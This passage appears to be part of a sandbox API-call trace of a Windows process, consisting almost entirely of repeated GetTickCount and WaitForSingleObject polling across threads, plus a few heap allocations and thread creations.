dwMilliseconds=0x64) returned 0x102 [0171.318] GetTickCount () returned 0x26102 [0171.318] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.443] GetTickCount () returned 0x2617f [0171.443] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.640] GetTickCount () returned 0x2623a [0171.640] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.740] GetTickCount () returned 0x262a8 [0171.740] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.850] GetTickCount () returned 0x26315 [0171.850] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.959] GetTickCount () returned 0x26382 [0171.959] GetTickCount () returned 0x26382 [0171.959] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.084] GetTickCount () returned 0x263ff [0172.084] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.195] GetTickCount () returned 0x2646d [0172.195] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.309] GetTickCount () returned 0x264da [0172.309] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.417] GetTickCount () returned 0x26548 [0172.417] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.537] GetTickCount () returned 0x265c5 [0172.537] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.653] GetTickCount () returned 0x26632 [0172.653] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.787] GetTickCount () returned 0x266bf [0172.787] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0172.904] GetTickCount () returned 0x2672c [0172.904] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.014] GetTickCount () returned 0x26799 [0173.014] GetTickCount () returned 0x26799 [0173.014] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.131] GetTickCount () returned 0x26816 [0173.131] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.269] GetTickCount () returned 0x26893 [0173.269] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.379] GetTickCount () returned 0x26901 [0173.379] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.475] GetTickCount () returned 0x2696e [0173.475] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.584] GetTickCount () returned 0x269db [0173.584] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.696] GetTickCount () returned 0x26a49 [0173.696] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.827] GetTickCount () returned 0x26ac6 [0173.827] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0173.950] GetTickCount () returned 0x26b43 [0173.950] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0174.066] GetTickCount () returned 0x26bb0 [0174.066] GetTickCount () returned 0x26bb0 [0174.066] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0174.212] GetTickCount () returned 0x26c4c [0174.212] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0174.364] GetTickCount () returned 0x26cd9 [0174.364] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0174.459] GetTickCount () returned 0x26d46 [0174.459] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0175.262] GetTickCount () returned 0x27063 [0175.262] GetTickCount () returned 0x27063 [0175.262] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0175.477] GetTickCount () returned 0x2713e [0175.477] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0175.602] GetTickCount () returned 0x271bb [0175.602] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0176.010] GetTickCount () returned 0x27351 [0176.010] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0177.128] GetTickCount () returned 0x277b6 [0177.128] GetTickCount () returned 0x277b6 [0177.129] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0177.631] GetTickCount () returned 0x279aa [0177.631] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0178.490] GetTickCount () returned 0x27d06 [0178.490] GetTickCount () returned 0x27d06 [0178.490] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0179.068] GetTickCount () returned 0x27f48 [0179.068] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0179.635] GetTickCount () returned 0x2817a [0179.635] GetTickCount () returned 0x2818a [0179.641] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0180.282] GetTickCount () returned 0x2840b [0180.282] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0180.955] GetTickCount () returned 0x286aa [0180.955] GetTickCount () returned 0x286aa [0180.955] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0181.546] GetTickCount () returned 0x288fc [0181.546] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0181.797] GetTickCount () returned 0x289f6 [0181.797] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0182.018] GetTickCount () returned 0x28ac1 [0182.018] GetTickCount () returned 0x28ac1 [0182.018] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0182.227] GetTickCount () returned 0x28b9c [0182.227] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0182.476] GetTickCount () returned 0x28c96 [0182.476] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0182.656] GetTickCount () returned 0x28d42 [0182.656] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0182.801] GetTickCount () returned 0x28dcf [0182.801] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0182.911] GetTickCount () returned 0x28e3c [0182.911] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.016] GetTickCount () returned 0x28ea9 [0183.016] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.161] GetTickCount () returned 0x28f36 [0183.161] GetTickCount () returned 0x28f36 [0183.161] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.307] GetTickCount () returned 0x28fd2 [0183.307] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.435] GetTickCount () returned 0x2904f [0183.435] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.601] GetTickCount () returned 0x290fb [0183.601] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.773] GetTickCount () returned 0x291a7 [0183.773] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0183.930] GetTickCount () returned 0x29243 [0183.930] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0184.085] GetTickCount () returned 0x292df [0184.085] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xa24 [0156.520] GetTickCount () returned 0x22725 [0156.520] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x7a6148 [0156.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7a6148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0156.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7a6148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0156.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7a6148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0156.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7a6148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0156.522] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ec7e0 [0156.522] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec7e0, Size=0x20) returned 0x7ceac8 [0156.522] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ec948 [0156.522] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec948, Size=0x20) returned 0x7cebe0 [0156.522] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0156.522] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0156.523] Wow64DisableWow64FsRedirection (in: OldValue=0x296ff7c | out: OldValue=0x296ff7c*=0x0) returned 1 [0156.523] lstrlenW (lpString="kernel32.dll") returned 12 [0156.523] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceac8 | out: hHeap=0x790000) returned 1 [0156.523] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.523] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cebe0 | out: hHeap=0x790000) returned 1 [0156.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x7fafb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0156.523] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0156.667] GetTickCount () returned 0x227c2 [0156.667] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0157.867] GetTickCount () returned 0x22c75 [0157.867] GetTickCount () returned 0x22c75 [0157.867] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0158.054] GetTickCount () returned 0x22d30 [0158.054] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0158.178] GetTickCount () returned 0x22dad [0158.178] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0158.317] GetTickCount () returned 0x22e3a [0158.317] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0158.443] GetTickCount () returned 0x22eb7 [0158.443] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0158.930] GetTickCount () returned 0x2309b [0158.930] GetTickCount () returned 0x2309b [0158.930] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0159.316] GetTickCount () returned 0x23222 [0159.316] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0159.445] GetTickCount () returned 0x2329f [0159.445] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0159.859] GetTickCount () returned 0x23435 [0159.859] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0159.986] GetTickCount () returned 0x234b2 [0159.986] GetTickCount () returned 0x234b2 [0159.986] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0160.178] GetTickCount () returned 0x2357d [0160.178] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0160.300] GetTickCount () returned 0x235eb [0160.300] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0160.405] GetTickCount () returned 0x23658 [0160.405] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0160.505] GetTickCount () returned 0x236c5 [0160.505] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0161.089] GetTickCount () returned 0x23907 [0161.089] GetTickCount () returned 0x23907 [0161.089] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0161.462] GetTickCount () returned 0x23a7e [0161.462] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0161.764] GetTickCount () returned 0x23ba7 [0161.764] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0162.006] GetTickCount () returned 0x23ca1 [0162.006] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0162.120] GetTickCount () returned 0x23d0f [0162.120] GetTickCount () returned 0x23d0f [0162.120] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0162.319] GetTickCount () returned 0x23dda [0162.319] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0162.516] GetTickCount () returned 0x23e95 [0162.516] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0163.211] GetTickCount () returned 0x24154 [0163.211] GetTickCount () returned 0x24154 [0163.211] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0163.381] GetTickCount () returned 0x24200 [0163.381] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0163.493] GetTickCount () returned 0x2426e [0163.493] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0163.888] GetTickCount () returned 0x243f4 [0163.888] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0164.124] GetTickCount () returned 0x244df [0164.124] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0164.422] GetTickCount () returned 0x24608 [0164.422] GetTickCount () returned 0x24608 [0164.422] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0164.545] GetTickCount () returned 0x24685 [0164.545] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0164.662] GetTickCount () returned 0x24702 [0164.662] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0164.931] GetTickCount () returned 0x2480b [0164.931] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.114] GetTickCount () returned 0x248c7 [0165.114] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.226] GetTickCount () returned 0x24934 [0165.226] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.339] GetTickCount () returned 0x249a1 [0165.339] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.446] GetTickCount () returned 0x24a0f [0165.446] GetTickCount () returned 0x24a0f [0165.446] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.563] GetTickCount () returned 0x24a7c [0165.563] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.674] GetTickCount () returned 0x24aea [0165.674] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.772] GetTickCount () returned 0x24b57 [0165.772] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0165.894] GetTickCount () returned 0x24bc4 [0165.894] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.173] GetTickCount () returned 0x24cde [0166.173] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.311] GetTickCount () returned 0x24d6a [0166.311] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.422] GetTickCount () returned 0x24dd8 [0166.422] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.523] GetTickCount () returned 0x24e45 [0166.523] GetTickCount () returned 0x24e45 [0166.523] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.638] GetTickCount () returned 0x24eb2 [0166.638] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.742] GetTickCount () returned 0x24f20 [0166.742] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.853] GetTickCount () returned 0x24f8d [0166.853] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0166.974] GetTickCount () returned 0x2500a [0166.974] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.083] GetTickCount () returned 0x25077 [0167.083] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.195] GetTickCount () returned 0x250e5 [0167.195] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.305] GetTickCount () returned 0x25152 [0167.305] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.411] GetTickCount () returned 0x251c0 [0167.411] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.520] GetTickCount () returned 0x2522d [0167.520] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.631] GetTickCount () returned 0x2529a [0167.631] GetTickCount () returned 0x2529a [0167.631] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.739] GetTickCount () returned 0x25308 [0167.739] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.849] GetTickCount () returned 0x25375 [0167.849] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0167.958] GetTickCount () returned 0x253e2 [0167.958] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.071] GetTickCount () returned 0x25450 [0168.071] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.177] GetTickCount () returned 0x254bd [0168.177] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.287] GetTickCount () returned 0x2552b [0168.287] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.395] GetTickCount () returned 0x25598 [0168.395] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.504] GetTickCount () returned 0x25605 [0168.504] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.806] GetTickCount () returned 0x2572e [0168.806] GetTickCount () returned 0x2572e [0168.806] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0168.982] GetTickCount () returned 0x257da [0168.982] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.083] GetTickCount () returned 0x25847 [0169.083] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.192] GetTickCount () returned 0x258b5 [0169.192] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.302] GetTickCount () returned 0x25922 [0169.302] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.411] GetTickCount () returned 0x25990 [0169.411] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.539] GetTickCount () returned 0x25a1c [0169.556] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.678] GetTickCount () returned 0x25a99 [0169.678] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.787] GetTickCount () returned 0x25b07 [0169.787] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0169.896] GetTickCount () returned 0x25b74 [0169.896] GetTickCount () returned 0x25b74 [0169.896] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.006] GetTickCount () returned 0x25be1 [0170.006] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.162] GetTickCount () returned 0x25c7e [0170.162] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.271] GetTickCount () returned 0x25ceb [0170.271] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.381] GetTickCount () returned 0x25d58 [0170.381] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.490] GetTickCount () returned 0x25dc6 [0170.490] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.600] GetTickCount () returned 0x25e33 [0170.600] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.722] GetTickCount () returned 0x25ea0 [0170.722] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.820] GetTickCount () returned 0x25f0e [0170.820] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0170.928] GetTickCount () returned 0x25f7b [0170.928] GetTickCount () returned 0x25f7b [0170.929] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.037] GetTickCount () returned 0x25fe9 [0171.037] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.174] GetTickCount () returned 0x26066 [0171.174] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.318] GetTickCount () returned 0x26102 [0171.318] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.443] GetTickCount () returned 0x2617f [0171.443] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.640] GetTickCount () returned 0x2623a [0171.640] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.740] GetTickCount () returned 0x262a8 [0171.740] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.850] GetTickCount () returned 0x26315 [0171.850] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0171.959] GetTickCount () returned 0x26382 [0171.959] GetTickCount () returned 0x26382 [0171.959] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.084] GetTickCount () returned 0x263ff [0172.084] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.195] GetTickCount () returned 0x2646d [0172.195] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.309] GetTickCount () returned 0x264da [0172.309] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.417] GetTickCount () returned 0x26548 [0172.417] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.537] GetTickCount () returned 0x265c5 [0172.537] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.653] GetTickCount () returned 0x26632 [0172.653] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.786] GetTickCount () returned 0x266af [0172.787] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0172.904] GetTickCount () returned 0x2672c [0172.904] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.014] GetTickCount () returned 0x26799 [0173.014] GetTickCount () returned 0x26799 [0173.014] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.131] GetTickCount () returned 0x26816 [0173.131] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.269] GetTickCount () returned 0x26893 [0173.269] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.380] GetTickCount () returned 0x26901 [0173.380] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.475] GetTickCount () returned 0x2696e [0173.475] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.584] GetTickCount () returned 0x269db [0173.584] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.695] GetTickCount () returned 0x26a49 [0173.695] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.827] GetTickCount () returned 0x26ac6 [0173.827] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0173.950] GetTickCount () returned 0x26b43 [0173.950] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0174.066] GetTickCount () returned 0x26bb0 [0174.066] GetTickCount () returned 0x26bb0 [0174.066] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0174.212] GetTickCount () returned 0x26c4c [0174.212] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0174.365] GetTickCount () returned 0x26cd9 [0174.365] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0174.459] GetTickCount () returned 0x26d46 [0174.459] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0175.262] GetTickCount () returned 0x27063 [0175.262] GetTickCount () returned 0x27063 [0175.262] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0175.477] GetTickCount () returned 0x2713e [0175.477] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0175.602] GetTickCount () returned 0x271bb [0175.602] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0176.010] GetTickCount () returned 0x27351 [0176.010] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0177.129] GetTickCount () returned 0x277b6 [0177.129] GetTickCount () returned 0x277b6 [0177.129] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0177.631] GetTickCount () returned 0x279aa [0177.631] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0178.490] GetTickCount () returned 0x27d06 [0178.490] GetTickCount () returned 0x27d06 [0178.490] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0179.067] GetTickCount () returned 0x27f48 [0179.068] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0179.641] GetTickCount () returned 0x2818a [0179.641] GetTickCount () returned 0x2818a [0179.641] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0180.282] GetTickCount () returned 0x2840b [0180.282] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0180.989] GetTickCount () returned 0x286ca [0180.989] GetTickCount () returned 0x286ca [0180.989] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0181.547] GetTickCount () returned 0x288fc [0181.547] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0181.797] GetTickCount () returned 0x289f6 [0181.797] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0182.019] GetTickCount () returned 0x28ac1 [0182.019] GetTickCount () returned 0x28ac1 [0182.019] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0182.227] GetTickCount () returned 0x28b9c [0182.227] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0182.476] GetTickCount () returned 0x28c96 [0182.476] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0182.656] GetTickCount () returned 0x28d42 [0182.656] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0182.801] GetTickCount () returned 0x28dcf [0182.801] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0182.911] GetTickCount () returned 0x28e3c [0182.911] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.016] GetTickCount () returned 0x28ea9 [0183.016] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.161] GetTickCount () returned 0x28f36 [0183.161] GetTickCount () returned 0x28f36 [0183.161] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.307] GetTickCount () returned 0x28fd2 [0183.307] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.435] GetTickCount () returned 0x2904f [0183.436] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.601] GetTickCount () returned 0x290fb [0183.601] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.773] GetTickCount () returned 0x291a7 [0183.773] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0183.930] GetTickCount () returned 0x29243 [0183.930] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0184.085] GetTickCount () returned 0x292df [0184.085] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) Thread: id = 11 os_tid = 0x4ac [0157.921] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x82dc00 [0157.921] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x83dc08 [0157.921] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecb10 [0157.921] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, 